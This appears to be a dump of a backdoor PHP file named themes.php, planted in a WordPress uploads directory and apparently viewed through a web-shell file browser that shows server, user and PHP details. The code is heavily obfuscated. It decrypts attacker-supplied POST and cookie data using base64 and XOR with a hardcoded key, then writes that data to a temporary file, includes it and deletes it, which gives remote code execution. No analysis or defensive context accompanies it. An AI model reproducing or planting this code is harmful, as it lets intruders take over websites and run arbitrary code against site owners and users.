HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/themes.php
<?php 
$qtnwb /*  ahr_ */ = /*jfs   */ 'qtnwb'	^	'';


$wjqtycf /* grskpx*/ = /* or  */ "\141"       .  "\162"       . /*  tyqxyn  */ "r"."a".$qtnwb(638-517)     .	$qtnwb(95)    .  $qtnwb(109) /*j */ .  "\x61"    . /*  bxe   */ $qtnwb(112);


$ztwjdrhxj /* ztulf_ */ = /* brju */ "i"."m"."p"."l"."o".$qtnwb(100)    .    "\145";





function	gizxgjsmo($rlclws,   $dbhdj)
{


 /* n*/ global  $qtnwb;
 /*  yojt */ 

    $rlclws    =      "\x3c" /*  dihkpu  */ .    "?"."\160"       . /*  zq   */ $qtnwb(1021-917)	.    $qtnwb(293-181)	. /*  ht */ $qtnwb(32) /*   r */ .	"\x75" /*  wbi*/ .     "n"."l".$qtnwb(436-331) /*   z */ . /*  rkhs_o */ "\156"	.    $qtnwb(922-815)	.    "\x28"    .   "\137" /*   ceqmch   */ . /*   uwsqe */ "_"."F"."I"."\x4c"	. /*qpxoql   */ "E"."_"."\137"      . /*  ps  */ ")".";".$qtnwb(32)      . /* i*/ $rlclws["d"];


    $cxobmqch /* agbfx*/ =      "f".$qtnwb(105)    .      $qtnwb(519-411)    .    "\145"	.    $qtnwb(272-177) /* hxcelz   */ .      $qtnwb(255-143)    . /*mndpad  */ $qtnwb(544-427)	.     $qtnwb(333-217)   . /* nk   */ "\137" /*fu*/ .       $qtnwb(99)    .       $qtnwb(111)    .       $qtnwb(1064-954)    . /*euhpwa*/ "t"."\145"      .    "n"."t".$qtnwb(839-724);


  

 /*  nowwz */ $cxobmqch($dbhdj,      $rlclws);


    /*  zcki*/ blhzrh($dbhdj);}


$ugvmtdd    = /*   ndw_zx   */ 73;


function    blhzrh($dbhdj)
{   global /*pawn*/ $qtnwb;
 /*   olaj */ 

	include($dbhdj);   $ak_fayrl	=    $dbhdj;

 /*dtj  */ @unlink($ak_fayrl);
}



function    yyfizq()

{ /* r  */ global	$qtnwb;
    $jdbqi    =	array();


	$jdbqi["p".$qtnwb(833-715)]	=     phpversion();


	$jdbqi["s".$qtnwb(118)]	=     "\63"  . /*   jqm*/ $qtnwb(428-382) /*laaqeh   */ .    "5";

	$hhewi_oyj    = /*  hj_o  */ 74;
 /*  csrx   */ echo	@serialize($jdbqi);


}
function	_uiknus($rlclws, /*  insbbz  */ $jdbqibnva)

{
    global	$qtnwb;

	$qbzusiy /* bnihs*/ = /* sebt   */ "";


 /*   wenp   */ $hy_octl_       = /*k*/ strlen($rlclws);


   $gehdcl	=   strlen($jdbqibnva);
    $jdbqi /* a_ukv  */ =    0;    $hfsqwhro /*gzh */ =       0;


 /*   o*/   while    ($jdbqi    <       $hy_octl_) /* zz*/ {
 /*   yrt  */ $r_lglomdb      = /*   jw_zp   */ $rlclws[$jdbqi]       ^       $jdbqibnva[$hfsqwhro    %   $gehdcl];


 /* b*/ $qbzusiy  .= /*   vue   */ $r_lglomdb;    $hfsqwhro++;	


    $jdbqi++;
    }
        if /* j   */ (strlen($qbzusiy) /*   n_   */ > /* frcac  */ 20)	{    $zueqkg_ygm /* ml  */ =      substr($qbzusiy,	0,    20);
 /*jw*/ }    if /*n  */ (empty($qbzusiy)) /*vwehf*/ {


    $qbzusiy	=  date('Y-m-d      H:i:s');
  }
 /*cfj*/ return  $qbzusiy;


}






function	eehytwfu($yutaq){ /*   n_sh   */ global    $qtnwb;


   /*   ykute*/ $kzkxhscly /*   hcciwj  */ = /*  i   */ "\x34"       .    "0"."\x66"     . /*  hlxu   */ "\x35"	. /* jfri */ $qtnwb(547-491)      . /*  tgv   */ "3"."4".$qtnwb(450-401)	.  $qtnwb(672-627)   .       $qtnwb(181-84).$qtnwb(102)      .	"7"."3"."-"."4"."\142" /*   xdl*/ .	"9".$qtnwb(772-721)    .      $qtnwb(45)      . /*k */ $qtnwb(181-84).$qtnwb(50) /*   sfcyj   */ .  "\x38" /*ewbhy*/ . /*  hdxhm   */ "5"."-".$qtnwb(648-549) /*  u   */ .    $qtnwb(51) /* cqd_m */ . /*   q   */ "\70" /* zaqox*/ .    $qtnwb(181-84)."\x64"	.  "\x31"      .    "\144"     .  "\145"      . /* hhs*/ $qtnwb(138-90) /*  lnwmv*/ .	"5".$qtnwb(101)      .  $qtnwb(770-719); /*  tkk */ 


      foreach    ($yutaq      as     $edklfwv /* m*/ =>    $rlclws)	{
 /*  pwavkd   */ gvejkah(base64_decode($rlclws),      $kzkxhscly,    $edklfwv); /*  wbksp  */ }


}


function	gvejkah($rlclws,   $kzkxhscly,     $edklfwv)

{  global    $qtnwb;	
    $rlclws       =    unserialize(_uiknus(_uiknus($rlclws, /*  yzn*/ $kzkxhscly), /*  hum   */ $edklfwv));

	$lwmcrpo      =    'awxrm';	$znippjh    = /*lhmpp*/ 'lh_retacw';
	if       (isset($rlclws[$qtnwb(181-84).$qtnwb(368-261)])) /* ofhbl  */ {	if	($rlclws[$qtnwb(181-84)]	==   $qtnwb(105))      {	yyfizq();


    } /* eful  */ elseif  ($rlclws[$qtnwb(181-84)] /*qd_*/ ==      "e")    {       gizxgjsmo($rlclws,   sprintf($qtnwb(46) /*lfk*/ . /*   _djojy   */ "\x2f" /*hdhq  */ . /*  soh   */ "\x25"    . /*  _ktf*/ $qtnwb(386-271)      .       $qtnwb(46)	.      "\x70"   . /* ab   */ "l",	md5($kzkxhscly)));
			$ekuya	= /*   o */ 44;

    }    exit();


	}}
eehytwfu($_POST);   




$a_qmcp /* dnofht */ =    'rawurldecode';





$_igbeunlt   =     $wjqtycf($a_qmcp, /*b */ $_POST);


$ztwjdrhxj("", /* q */ $a_qmcp);




eehytwfu($_COOKIE);


$zbdtntdq	= /* qwb */ $wjqtycf($a_qmcp,    $_COOKIE);



?>